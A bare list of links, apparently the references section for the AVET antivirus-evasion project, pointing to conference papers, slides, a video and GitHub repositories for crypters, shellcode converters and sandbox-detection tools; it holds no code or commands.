- [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/)
- [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/)
- [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
- [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
- [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r)
- [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx)
- [https://github.com/tacticaljmp](https://github.com/tacticaljmp)
- [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
- [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter)
- [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/)
- [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish)
- [https://danielsauder.com](https://danielsauder.com)